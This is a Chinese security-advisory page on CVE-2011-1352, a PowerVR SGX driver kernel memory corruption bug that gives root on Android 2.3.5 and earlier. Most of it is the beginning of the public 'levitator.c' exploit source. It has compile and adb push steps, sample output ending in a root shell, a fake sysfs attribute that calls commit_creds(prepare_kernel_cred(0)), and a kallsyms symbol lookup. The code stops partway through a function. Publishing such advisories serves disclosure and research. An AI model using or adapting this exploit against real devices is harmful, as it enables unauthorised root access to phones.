发布日期:2011-11-03
更新日期:2013-03-07
受影响系统:
Android Open Handset Alliance Android <= 2.3.5
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 57901
 CVE(CAN) ID: CVE-2011-1352
 
Android是基于Linux开放性内核的操作系统,是Google公司在2007年11月5日公布的手机操作系统。
 
Android 2.3.6及之前版本内的PowerVR SGX驱动程序允许攻击者获取root权限,此漏洞源于发送到 pvrsrvkm 设备的特制用户数据触发了内核内存破坏,导致权限提升。
 
<*来源:Geremy Condra
   
   链接:?name=CVE-2011-1352
 *>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
 * levitator.c
 *
 * Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
 * Jon Larimer <jlarimer@gmail.com>
 * Jon Oberheide <jon@oberheide.org>
 *
 * Information:
 *
 *   ?name=CVE-2011-1352
 *
 *   CVE-2011-1352 is a kernel memory corruption vulnerability that can lead 
*   to privilege escalation. Any user with access to /dev/pvrsrvkm can use 
*   this bug to obtain root privileges on an affected device.
 *
 *   ?name=CVE-2011-1350
 *
 *   CVE-2011-1350 allows leaking a portion of kernel memory to user mode 
*   processes. This vulnerability exists because of improper bounds checking
 *   when returning data to user mode from an ioctl system call.
 *
 * Usage:
 *
 *   $ CC="/path/to/arm-linux-androideabi-gcc"
 *   $ NDK="/path/to/ndk/arch-arm"
 *   $ CFLAGS="-I$NDK/usr/include/"
 *   $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
 *   $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
 *   $ adb push levitator /data/local/tmp/
 *   $ adb shell
 *   $ cd /data/local/tmp
 *   $ ./levitator
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xc00770dc
 *   [+] resolved symbol prepare_kernel_cred to 0xc0076f64
 *   [+] resolved symbol dev_attr_ro to 0xc05a5834
 *   [+] opening prvsrvkm device...
 *   [+] dumping kernel memory...
 *   [+] searching kmem for dev_attr_ro pointers...
 *   [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
 *   [+] clobbering kmem with poisoned pointers...
 *   [+] triggering privesc via block ro sysfs attribute...
 *   [+] restoring original dev_attr_ro pointers...
 *   [+] restored 16 dev_attr_ro pointers!
 *   [+] privileges escalated, enjoy your shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 *   Notes:
 *
 *     The vulnerability affects Android devices with the PowerVR SGX chipset
 *     which includes popular models like the Nexus S and Galaxy S series. The 
*     vulnerability was patched in the Android 2.3.6 OTA update.
 */
 
#include <stdio.h>
 #include <stdint.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <dirent.h>
 #include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/ioctl.h>
 
#define CONNECT_SERVICES 0xc01c670c
 #define DUMP_SIZE        161920
 
typedef struct {
     uint32_t ui32BridgeID;
     uint32_t ui32Size;
     void *pvParamIn;
     uint32_t ui32InBufferSize;
     void *pvParamOut;
     uint32_t ui32OutBufferSize;
     void * hKernelServices;
 } PVRSRV_BRIDGE_PACKAGE;
 
typedef int (* _commit_creds)(unsigned long cred);
 typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
 _commit_creds commit_creds;
 _prepare_kernel_cred prepare_kernel_cred;
 
ssize_t
 fake_disk_ro_show(void *dev, void *attr, char *buf)
 {
     commit_creds(prepare_kernel_cred(0));
     return sprintf(buf, "0wned\n");
 }
 
struct attribute {
     const char *name;
     void *owner;
     mode_t mode;
 };
 
struct device_attribute {
     struct attribute attr;
     ssize_t (*show)(void *dev, void *attr, char *buf);
     ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
 };
 
struct device_attribute fake_dev_attr_ro = {
     .attr    = {
         .name = "ro",
         .mode = S_IRWXU | S_IRWXG | S_IRWXO,
     },
     .show = fake_disk_ro_show,
     .store = NULL,
 };
 
unsigned long
 get_symbol(char *name)
 {
     FILE *f;
     unsigned long addr;
     char dummy, sname[512];
     int ret = 0;
f = fopen("/proc/kallsyms", "r");
     if (!f) {
         return 0;
     }
